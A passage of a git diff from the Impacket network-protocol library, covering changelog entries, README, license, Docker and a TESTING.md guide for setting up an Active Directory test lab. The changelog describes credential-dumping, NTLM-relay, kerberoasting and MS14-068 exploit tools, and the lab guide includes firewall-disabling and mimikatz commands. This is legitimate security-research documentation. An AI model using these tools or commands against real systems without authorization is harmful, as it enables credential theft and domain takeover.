`ShellWindows` and + `ShellBrowserWindow` objects. (contributions by @byt3bl33d3r). + * [getTGT.py](examples/getTGT.py): Given a password, hash or aesKey, this script will + request a TGT and save it as ccache. + * [getST.py](examples/getST.py): Given a password, hash, aesKey or TGT in ccache, this + script will request a Service Ticket and save it as ccache. If the account has constrained + delegation (with protocol transition) privileges you will be able to use the `-impersonate` + switch to request the ticket on behalf other user. + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@dirkjanm, @real-datagram, @kacpern, @martinuy, @xelphene, @blark, @the-useless-one, @contactr2m, @droc, @martingalloar, @skelsec, @franferrax, @Fr0stbyt3, @ropnop, @MrAnde7son, @machosec, @federicoemartinez, @elitest, @symeonp, @Kanda-Motohiro, @Ramzeth, @mohemiv, @arch4ngel, @derekchentrendmicro, @Kayzaks, @donwayo, @bao7uo, @byt3bl33d3r, @xambroz, @luzpaz, @TheNaterz, @Mikkgn, @derUnbekannt. + + +## Impacket v0.9.15 (June 2016): + +1. Library improvements + * `SMB3.create`: define `CreateContextsOffset` and `CreateContextsLength` when applicable (by @rrerolle) + * Retrieve user principal name from `CCache` file allowing to call any script with `-k` and just the target system (by @MrTchuss) + * Packet fragmentation for DCE RPC layer mayor overhaul. + * Improved pass-the-key attacks scenarios (by @skelsec) + * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to + build the search filter yourself) + * IPv6 improvements for DCERPC/LDAP and Kerberos + +2. Examples improvements + * Adding `-dc-ip` switch to all examples. It allows specifying what the IP for the domain is. + It assumes the DC and KDC resides in the same server. + * `secretsdump.py`: + * Adding support for Win2016 TP4 in LOCAL or `-use-vss` mode + * Adding `-just-dc-user` switch to download just a single user data (DRSUAPI mode only) + * Support for different ReplEpoch (DRSUAPI only) + * pwdLastSet is also included in the output file + * New structures/flags added for 2016 TP5 PAM support + * `wmiquery.py`: + * Adding `-rpc-auth-level` switch (by @gadio) + * `smbrelayx.py`: + * Added option to specify authentication status code to be sent to requesting client (by @mgeeky) + * Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol) + +3. New Examples + * `GetUserSPNs.py`: This module will try to find Service Principal Names that are associated with normal user account. + This is part of the kerberoast attack researched by Tim Medin (@timmedin) + * `ntlmrelayx.py`: `smbrelayx.py` on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc) + (by @dirkjanm) + + +## Impacket v0.9.14 (January 2016): + +1. Library improvements + * `[MS-TSCH]` - ATSVC, SASec and ITaskSchedulerService Interface implementations + * `[MS-DRSR]` - Directory Replication Service DRSUAPI Interface implementation + * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved + * Unicode support (optional) for the SMBv1 stack (by @rdubourguais) + * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie) + * Kerberos support for TDS (MSSQL) + * Extended present flags support on RadioTap class + * Old DCERPC runtime code removed + +2. Examples improvements + * `mssqlclient.py`: + * Added Kerberos authentication support + * `atexec.py`: + * It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2 + * `smbrelayx.py`: + * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default + * Added -c option to execute custom commands in the target (by @byt3bl33d3r) + * `secretsdump.py`: + * Active Directory hashes/Kerberos keys are dumped using `[MS-DRSR]` (`IDL_DRSGetNCChanges` method) + by default. VSS method is still available by using the -use-vss switch + * Added `-just-dc` (Extract only NTDS.DIT NTLM Hashes and Kerberos) and + `-just-dc-ntlm` (only NTDS.DIT NTLM Hashes) options + * Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. + Use `-resumefile` option. + * Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump (`[MS-SAMR]` `3.1.1.8.11.5`) + * Add support for multiple password encryption keys (PEK) (by @s0crat) + * `goldenPac.py`: + * Tests all DCs in domain and adding forest's enterprise admin group inside PAC + +3. New examples + * `raiseChild.py`: Child domain to forest privilege escalation exploit. Implements a + child-domain to forest privilegeescalation as [detailed by Sean Metcalf](https://adsecurity.org/?p=1640). + * `netview.py`: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix) + + +## Impacket v0.9.13 (May 2015): + +1. Library improvements + * Kerberos support for SMB and DCERPC featuring: + * `kerberosLogin()` added to SMBConnection (all SMB versions). + * Support for `RPC_C_AUTHN_GSS_NEGOTIATE` at the DCERPC layer. This will + negotiate Kerberos. This also includes DCOM. + * Pass-the-hash, pass-the-ticket and pass-the-key support. + * Ccache support, compatible with Kerberos utilities (kinit, klist, etc). + * Support for `RC4`, `AES128_CTS_HMAC_SHA1_96` and `AES256_CTS_HMAC_SHA1_96` ciphers. + * Support for `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`/`RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`. + * `[MS-SAMR]`: Supplemental Credentials support (used by secretsdump.py) + * SMBSERVER improvements: + * SMB2 (2.002) dialect experimental support. + * Adding capability to export to John The Ripper format files + * Library logging overhaul. Now there's a single logger called `impacket`. + +2. Examples improvements + * Added Kerberos support to all modules (incl. pass-the-ticket/key) + * Ported most of the modules to the new dcerpc.v5 runtime. + * `secretsdump.py`: + * Added dumping Kerberos keys when parsing NTDS.DIT + * `smbserver.py`: + * Support for SMB2 (not enabled by default) + * `smbrelayx.py`: + * Added support for MS15-027 exploitation. + +3. New examples + * `goldenPac.py`: MS14-068 exploit. Saves the golden ticket and also launches a + psexec session at the target. + * `karmaSMB.py`: SMB Server that answers specific file contents regardless of + the SMB share and pathname requested. + * `wmipersist.py`: Creates persistence over WMI. Adds/Removes WMI Event + Consumers/Filters to execute VBS based on a WQL filter or timer specified. + + +## Impacket v0.9.12 (July 2014): + +1. Library improvements + * The following protocols were added based on its standard definition + * `[MS-DCOM]` - Distributed Component Object module Protocol (`dcom.py`) + * `[MS-OAUT]` - OLE Automation Protocol (`dcom/oaut.py`) + * `[MS-WMI]`/`[MS-WMIO]` : Windows Management Instrumentation Remote Protocol (`dcom/wmi.py`) + +2. New examples + * `wmiquery.py`: executes WMI queries and get WMI object's descriptions. + * `wmiexec.py`: agent-less, semi-interactive shell using WMI. + * `smbserver.py`: quick an easy way to share files using the SMB protocol. + + +## Impacket v0.9.11 (February 2014): + +1. Library improvements + * New RPC and NDR runtime (located at `impacket.dcerpc.v5`, old one still available) + * Support marshaling/unmarshaling for NDR20 and NDR64 (experimental) + * Support for `RPC_C_AUTHN_NETLOGON` (experimental) + * The following interface were developed based on its standard definition: + * `[MS-LSAD]` - Local Security Authority (Domain Policy) Remote Protocol (lsad.py) + * `[MS-LSAT]` - Local Security Authority (Translation Methods) Remote Protocol (lsat.py) + * `[MS-NRPC]` - Netlogon Remote Protocol (nrpc.py) + * `[MS-RRP]` - Windows Remote Registry Protocol (rrp.py) + * `[MS-SAMR]` - Security Account Manager (SAM) Remote Protocol (samr.py) + * `[MS-SCMR]` - Service Control Manager Remote Protocol (scmr.py) + * `[MS-SRVS]` - Server Service Remote Protocol (srvs.py) + * `[MS-WKST]` - Workstation Service Remote Protocol (wkst.py) + * `[MS-RPCE]-C706` - Remote Procedure Call Protocol Extensions (epm.py) + * `[MS-DTYP]` - Windows Data Types (dtypes.py) + * Most of the DCE Calls have helper functions for easier use. Test cases added for + all calls (check the test cases directory) + * ESE parser (Extensive Storage Engine) (ese.py) + * Windows Registry parser (winregistry.py) + * TDS protocol now supports SSL, can be used from mssqlclient + * Support for EAPOL, EAP and WPS decoders + * VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi + +2. New examples + * `rdp_check.py`: tests whether an account (pwd or hashes) is valid against an RDP server + * `esentutl.py`: ESE example to show how to interact with ESE databases (e.g. NTDS.dit) + * `ntfs-read.py`: mini shell for browsing an NTFS volume + * `registry-read.py`: Windows offline registry reader + * `secretsdump.py`: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS) + + +## Impacket v0.9.10 (March 2013): + +1. Library improvements + * SMB version 2 and 3 protocol support (`[MS-SMB2]`). Signing supported, encryption for + SMB3 still pending. + * Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and + SMB version independent. It will pick the best SMB Version when connecting against the + target. Check `smbconnection.py` for a list of available methods across all the protocols. + * Partial TDS implementation (`[MS-TDS]` & `[MC-SQLR]`) so we could talk with MSSQL Servers. + * Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server. + * DCERPC Endpoints' new calls + * EPM: `lookup()`: It can work as a general portmapper, or just to find specific interfaces/objects. + +2. New examples + * `mssqlclient.py`: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives + you an SQL prompt for your pleasure. + * `mssqlinstance.py`: Lists the MS SQL instances running on a target machine. + * `rpcdump.py`: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the + UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to + develop new functionality to interact against a target interface. + * `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the + technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also + supports instantiating a local smbserver to receive the output of the commandos executed for those situations + where no share is available on the other end. + * `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly. + +And finally tons of fixes :). + + +## Impacket v0.9.9 (July 2012): + +1. Library improvements + * Added 802.11 packets encoding/decoding + * Addition of support for IP6, ICMP6 and NDP packets. Addition of `IP6_Address` helper class. + * SMB/DCERPC: + * GSS-API/SPNEGO Support. + * SPN support in auth blob. + * NTLM2 and NTLMv2 support. + * Default SMB port now 445. If `*SMBSERVER` is specified the library will try to resolve the netbios name. + * Pass the hash supported for SMB/DCE-RPC. + * IPv6 support for SMB/NMB/DCERPC. + * DOMAIN support for authentication. + * SMB signing support when server enforces it. + * DCERPC signing/sealing for all NTLM flavours. + * DCERPC transport now accepts an already established SMB connection. + * Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by + forwarding named pipes requests). + * Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoid Windows 7 nasty bug when that pipe's + not functional. + * DCERPC Endpoints' new calls: + * `SRVSVC`: `NetrShareEnum(Level1)`, `NetrShareGetInfo(Level2)`, `NetrServerGetInfo(Level2)`, + `NetrRemoteTOD()`, `NetprNameCanonicalize()`. + * `SVCCTL`: `CloseServiceHandle()`, `OpenSCManagerW()`, `CreateServiceW()`, `StartServiceW()`, + `OpenServiceW()`, `OpenServiceA()`, `StopService()`, `DeleteService()`, `EnumServicesStatusW()`, + `QueryServiceStatus()`, `QueryServiceConfigW()`. + * `WKSSVC`: `NetrWkstaTransportEnum()`. + * `SAMR`: `OpenAlias()`, `GetMembersInAlias()`. + * `LSARPC`: `LsarOpenPolicy2()`, `LsarLookupSids()`, `LsarClose()`. + +2. New examples + * `ifmap.py`: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list + of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is + listed and/or listening. + * `lookupsid.py`: DCE/RPC lookup sid brute forcer example. + * `opdump.py`: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first + 256 operation numbers in turn and reports the outcome of each call. + * `services.py`: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST). + * `test_wkssvc`: DCE/RPC WKSSVC examples, playing with the functions Implemented. + * `smbrelayx`: Passes credentials to a third party server when doing MiTM. + * `smbserver`: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but + not enforced. Tested under Windows, Linux and MacOS clients. + * `smbclient.py`: now supports history, new commands also added. + * `psexec.py`: Execute remote commands on Windows machines diff --git a/Dockerfile b/Dockerfile index c32d8b149e..ca43f09778 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,13 +1,13 @@ -FROM python:2-alpine as compile +FROM python:3.8-alpine as compile WORKDIR /opt -RUN apk add --no-cache git gcc openssl-dev libffi-dev musl-dev -RUN pip install virtualenv +RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo +RUN python3 -m pip install virtualenv RUN virtualenv -p python venv ENV PATH="/opt/venv/bin:$PATH" RUN git clone --depth 1 https://github.com/SecureAuthCorp/impacket.git -RUN pip install impacket/ +RUN python3 -m pip install impacket/ -FROM python:2-alpine +FROM python:3.8-alpine COPY --from=compile /opt/venv /opt/venv ENV PATH="/opt/venv/bin:$PATH" ENTRYPOINT ["/bin/sh"] \ No newline at end of file diff --git a/LICENSE b/LICENSE index 159cdd10c7..50adaff2a3 100644 --- a/LICENSE +++ b/LICENSE @@ -60,7 +60,7 @@ SUCH DAMAGE. -Smb.py and nmb.py are based on Pysmb by Michael Teo +impacket/smb.py and impacket/nmb.py are based on Pysmb by Michael Teo (https://miketeo.net/projects/pysmb/), and are distributed under the following license: @@ -82,3 +82,108 @@ freely, subject to the following restrictions: 3. This notice cannot be removed or altered from any source distribution. + + +examples/kintercept.py by Isaac Boukris (https://github.com/iboukris/S4U/) +is distributed under the following license: + +Copyright (c) 2019 Isaac Boukris + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + + +impacket/examples/recomsvc.py is based on recomsvc by Talha Tariq +and is distributed under the following license: + +Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ] +All rights are reserved. + +Permission to use, copy, modify, and distribute this software +for any purpose and without any fee is hereby granted, +provided this notice is included in its entirety in the +documentation and in the source files. + +This software and any related documentation is provided "as is" +without any warranty of any kind, either express or implied, +including, without limitation, the implied warranties of +merchantability or fitness for a particular purpose. The entire +risk arising out of use or performance of the software remains +with you. + + +impacket/krb5/asn1.py and impacket/krb5/types.py by Marc Horowitz +are distributed under the following license: + +Copyright (c) 2013, Marc Horowitz +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +Redistributions of source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +impacket/krb5/crypto.py by the Massachusetts Institute of Technology is +distributed under the following license: + +Copyright (C) 2013 by the Massachusetts Institute of Technology. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +* Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED +OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/MANIFEST.in b/MANIFEST.in index 07649b35ba..38b5984cee 100644 --- a/MANIFEST.in +++ b/MANIFEST.in @@ -1,7 +1,12 @@ include MANIFEST.in include LICENSE -include ChangeLog +include ChangeLog.md +include README.md +include SECURITY.md +include TESTING.md + include requirements.txt + include tox.ini recursive-include examples tests *.txt *.py recursive-include tests * diff --git a/README.md b/README.md index b863b039b7..e80e164c15 100644 --- a/README.md +++ b/README.md @@ -38,27 +38,13 @@ Setup Quick start ----------- -Grab the latest stable release, unpack it and run `pip3 install .` (`pip install .` for Python 2.x) from the directory where you placed it. Isn't that easy? - - -Requirements -============ - - * A Python interpreter. Python 2.6/2.7 and Python 3.7 are known to work. - 1. If you want to run the examples and you have Python < 2.7, you - will need to install the `argparse` package for them to work. - 2. For Kerberos support you will need `pyasn1` package - 3. For cryptographic operations you will need `pycryptodomex` package - 4. For some examples you will need `pyOpenSSL` (rdp_check.py) and ldap3 (ntlmrelayx.py) - 5. For ntlmrelayx.py you will also need `ldapdomaindump`, `flask` and `ldap3` - 6. If you're under Windows, you will need `pyReadline` - * A recent release of Impacket. +Grab the latest stable release, unpack it and run `python3 -m pip install .` (`python2 -m pip install .` for Python 2.x) from the directory where you placed it. Isn't that easy? Installing ---------- In order to install the source execute the following command from the -directory where the Impacket's distribution has been unpacked: `pip3 install .` (`pip install . `for Python 2.x). +directory where the Impacket's distribution has been unpacked: `python3 -m pip install .` (`python2 -m pip install . `for Python 2.x). This will install the classes into the default Python modules path; note that you might need special permissions to write there. @@ -66,46 +52,55 @@ write there. Testing ------- -If you want to run the library test cases you need to do mainly three things: - -1. Install and configure a Windows 2012 R2 Domain Controller. - * Be sure the RemoteRegistry service is enabled and running. -2. Configure the [dcetest.cfg](https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/tests/SMB_RPC/dcetests.cfg) file with the necessary information -3. Install tox (`pip3 install tox`) +The library leverages the [pytest](https://docs.pytest.org/) framework for organizing +and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of +running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/) +to obtain coverage statistics. -Once that's done, you can run `tox` and wait for the results. If all goes well, all test cases should pass. -You will also have a coverage HTML report located at `impacket/tests/htlmcov/index.html` +A [comprehensive testing guide](TESTING.md) is available. -Support Docker ---------------- -Build Image Impacket -To create image +Docker Support +-------------- -`docker build -t "impacket:latest" .` +Build Impacket's image: + $ docker build -t "impacket:latest" . -Using Impacket +Using Impacket's image: -`docker run -it --rm "impacket:latest"` + $ docker run -it --rm "impacket:latest" Licensing ========= -This software is provided under under a slightly modified version of -the Apache Software License. See the accompanying LICENSE file for +This software is provided under a slightly modified version of +the Apache Software License. See the accompanying [LICENSE](LICENSE) file for more information. SMBv1 and NetBIOS support based on Pysmb by Michael Teo. Disclaimer ========== -The spirit of this open source initiative is hopefully to help the community to alleviate some of the hindrances associated with the implementation of networking protocols and stacks, aiming at speeding up research and educational activities. By no means this package is meant to be used in production environments / commercial products. If so, we would advise to include it into a proper SDLC process. + +The spirit of this Open Source initiative is to help security researchers, +and the community, speed up research and educational activities related to +the implementation of networking protocols and stacks. + +The information in this repository is for research and educational purposes +and not meant to be used in production environments and/or as part +of commercial products. + +If you desire to use this code or some part of it for your own uses, we +recommend applying proper security development life cycle and secure coding +practices, as well as generate and track the respective indicators of +compromise according to your needs. Contact Us ========== -Whether you want to report a bug, send a patch or give some -suggestions on this package, drop us a few lines at -oss@secureauth.com. +Whether you want to report a bug, send a patch, or give some suggestions +on this package, drop us a few lines at oss@secureauth.com. + +For security-related questions check our [security policy](SECURITY.md). \ No newline at end of file diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000000..d2314549dd --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,7 @@ +Security Policy +=============== + +Although this initiative is not meant to be used in productive environments, +if you consider that you have identified an issue that might affect the +security of its users, or you understand that the tool is being abused, +you can contact us at oss-security@secureauth.com. diff --git a/TESTING.md b/TESTING.md new file mode 100644 index 0000000000..d1b3f25a96 --- /dev/null +++ b/TESTING.md @@ -0,0 +1,259 @@ +Testing +======= + +The library leverages the [pytest](https://docs.pytest.org/) framework for organizing +and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of +running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/) +to obtain coverage statistics. + + +Test environment setup +---------------------- + +Some test cases are "local", meaning that don't require a target environment and can +be run off-line, while the bulk of the test cases are "remote" and requires some +prior setup. + +If you want to run the full set of library test cases, you need to prepare your +environment by completing the following steps: + +1. Install testing requirements. You can use the following command to do so: + + python3 -m pip install tox -r requirements-test.txt + +1. [Install and configure a target Active Directory Domain Controller](#active-directory-setup-and-configuration). + +1. [Configure remote test cases](#configure-remote-test-cases). + + +> **Important note** +> +> Bear in mind that some remote tests are not idempotent, that means that they perform +> changes on the target environment and the results of the tests depends on that. As an +> example, some tests require the creation/modification/deletion of user accounts. If those +> tests fail at some point during the process, user accounts might lay down there and +> subsequent tests might fail when trying to create the user account. We recommend taking +> snapshots of the target environment that can be then rolled back after a testing session. + +Running tests +------------- + +Once that's done, you would be able to run the test suite with `pytest`. For example, +you can run all "local" test cases using the following command: + + $ pytest -m "not remote" + +Or run the "remote" test cases with the following command: + + $ pytest -m "remote" + +If all goes well, all test cases should pass. + +You can also leverage `pytest` [markers](https://docs.pytest.org/en/4.6.x/example/markers.html) +or [keyword expressions](https://docs.pytest.org/en/4.6.x/usage.html#select-tests) +to select which test case you want to run. Although we recommend using `pytest`, it's also possible to run individual test +case modules via `unittest.main` method. For example, to only run `ldap` test cases, +you can execute: + + $ pytest -k "ldap" + + +Automating runs +--------------- + +If you want to run the test cases in a new fresh environment, or run those across +different Python versions, you can use `tox`. You can specify the group of test cases +you want to run, which would be passed to `pytest`. As an example, the following +command will run all "local" test cases across all the Python versions defined in +the `tox` configuration: + + $ tox -- -m "not remote" + +Coverage +-------- + +If you want to measure coverage in your test cases run, you can use it via the +`pytest-cov` plugin, for example by running the following command: + + $ pytest --cov --cov-config=tox.ini + +`tox` will collect and report coverage statistics as well, and combine it across +different Python version environment runs. You will have a coverage HTML report +located at the default `Coverage`'s location `htlmcov/index.html`. + + +Configuration +------------- + +Configuration of all `pytest`, `coverage` and `tox` is contained in the +[tox.ini](tox.ini) file. Refer to each tool documentation for further details +about the different settings. + + +Active Directory Setup and Configuration +---------------------------------------- + +In order to run remote test cases, a target Active Directory need to be properly +configured with the expected objects. Current remote test cases are expected to +work against a Windows Server 2012 R2 Domain Controller. The following are the +main steps required: + +1. Make sure to disable the firewall on the interface you want to use for connecting + to the Domain Controller. + + PS C:\> Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False + +1. Install the Active Directory Domain Services on the target server. + + PS C:\> Install-WindowsFeature -name AD-Domain-Services -IncludeManagementTools + +1. Make sure the server's Administrator user password meet the complexity policy, as it's required + for promoting it to Domain Controller. + + PS C:\> $AdminPassword = "" + PS C:\> $Admin=[adsi]("WinNT://$env:COMPUTERNAME/Administrator, user") + PS C:\> $Admin.psbase.invoke("setpassword", $AdminPassword) + +1. Promote the installed Windows Server 2012 R2 to a Domain Controller, and configure + a domain of your choice. + + PS C:\> $DomainName = "" + PS C:\> $NetBIOSName = "" + PS C:\> $RecoveryPassword = "" + PS C:\> $SecureRecoveryPassword = ConvertTo-SecureString $RecoveryPassword -AsPlainText -Force + PS C:\> Install-ADDSForest -DomainName $DomainName -InstallDns -SafeModeAdministratorPassword $SecureRecoveryPassword -DomainNetbiosName $NetBIOSName -SkipPreChecks + +1. Install DHCP services on the target Domain Controller. + + PS C:\> Install-WindowsFeature -name DHCP -IncludeManagementTools + +1. Create the DHCP administration groups and authorize the server. + + PS C:\> netsh dhcp add securitygroups + PS C:\> Restart-Service dhcpserver + PS C:\> Add-DhcpServerInDC -DnsName -IPAddress + PS C:\> $Credential = Get-Credential + PS C:\> Set-DhcpServerDnsCredential -Credential $Credential -ComputerName + +1. Be sure to enable and run the `RemoteRegistry` service on the target Domain + Controller. + + PS C:\> Start-Service RemoteRegistry + +1. Create a Domain User with administrative rights. This is the user that will be used + to run the remote tests. We make sure to enable AES Kerberos encryption type and add + it to the Domain Admins group. + + PS C:\> $AdminUserName = "" + PS C:\> $AdminAccountName = "" + PS C:\> $AdminUserPassword = "" + PS C:\> $SecureAdminUserPassword = ConvertTo-SecureString $AdminUserPassword -AsPlainText -Force + PS C:\> New-ADUser -Name $AdminUserName -SamAccountName $AdminAccountName -UserPrincipalName $AdminAccountName@$DomainName -AccountPassword $SecureAdminUserPassword -Enabled $true -ChangePasswordAtLogon $false -KerberosEncryptionType RC4,AES128,AES256 + PS C:\> Add-ADGroupMember -Identity "Domain Admins" -Members + + +### LDAPS (LDAP over SSL/TLS) configuration + +For running LDAPS (LDAP over SSL/TLS) test cases, make sure you have a certificate +installed and configured on the target Domain Controller. You can follow +Microsoft's [guidelines to configure LDAPS](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority). + +You can use self-signed certificates by: + + 1. Create a CA private key and certificate: + + $ openssl genrsa -aes256 -out ca_private.key 4096 + $ openssl req -new -x509 -days 3650 -key ca_private.key -out ca_public.crt + + 1. Copying and importing the CA public certificate into the Domain + Controller server: + + PS C:\> Import-Certificate -FilePath ca_public.crt -CertStoreLocation 'Cert:\LocalMachine\Root' -Verbose + + 1. Creating a certificate request for the LDAP service, by editing the following + configuration file: + + ;----------------- request.inf ----------------- + [Version] + Signature="$Windows NT$ + + [NewRequest] + Subject = "CN=" ; replace with the FQDN of the DC + KeySpec = 1 + KeyLength = 1024 + Exportable = TRUE + MachineKeySet = TRUE + SMIME = False + PrivateKeyArchive = FALSE + UserProtected = FALSE + UseExistingKeySet = FALSE + ProviderName = "Microsoft RSA SChannel Cryptographic Provider" + ProviderType = 12 + RequestType = PKCS10 + KeyUsage = 0xa0 + + [EnhancedKeyUsageExtension] + OID=1.3.6.1.5.5.7.3.1 ; this is for Server Authentication + ;----------------------------------------------- + + And then running the following command: + + PS C:\> certreq -new request.inf ldapcert.csr + + 1. Signing the LDAP service certificate with the CA, by creating the + `v3ext.txt` configuration file: + + keyUsage=digitalSignature,keyEncipherment + extendedKeyUsage=serverAuth + subjectKeyIdentifier=hash + + And running the following command: + + $ openssl x509 -req -days 365 -in ldapcert.csr -CA ca_public.crt -CAkey ca_private.key -extfile v3ext.txt -set_serial 01 -out ldapcert.crt + + 1. Copying and installing the new signed LDAP service certificate into + the Domain Controller server: + + PS C:\> certreq -accept ldapcert.crt + + 1. Finally, restarting the Domain Controller. + + +### Mimilib configuration + +[Mimilib](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib) test +cases require the service to be installed on the target Domain Controller. You can +do that by running Mimikatz with an elevated user and executing: + + mimikatz # rpc::server + + +Configure Remote Test Cases +--------------------------- + +Create a copy of the [dcetest.cfg.template](tests/dcetests.cfg.template) file and +configure it with the necessary information associated to the Active Directory you +configured. Path to the configuration file to use when running tests can be then +specified in the following ways: + + * Using the pytest `--remote-config` command-line option. + * Using the pytest `remote-config` option in `tox.ini`. + * Using the `REMOTE_CONFIG` environment variable. + * Default to loading from `tests/dcetests.cg`. + +For example, you can keep configuration of different environments in +separate files, and specify which one you want the test to run against: + + $ pytest --remote-config=tests/dcetests-win2016.cfg + $ pytest --remote-config=tests/dcetests-win2019.cfg + +Make sure you set a user with proper administrative privileges on the +target Active Directory domain and that the user hashes and keys match with those +in the environment. Hashes and Kerberos keys can be grabbed from the target Domain +Controller using [secretsdump.py](examples/secretsdump.py) example script. + +Make sure also to have full network visibility into the target hosts and be able to +resolve DNS queries for the Active Directory Domain configured. If you don't want to +change your test machine's DNS settings to point to the AD DNS server, you can +configure your system to statically resolve (e.g. via `/etc/hosts` file) the host +and domain FQDN to the server's IP address. diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py new file mode 100755 index 0000000000..fcdcf8dbe7 --- /dev/null +++ b/examples/Get-GPPPassword.py @@ -0,0 +1,296 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for extracting and decrypting Group Policy Preferences 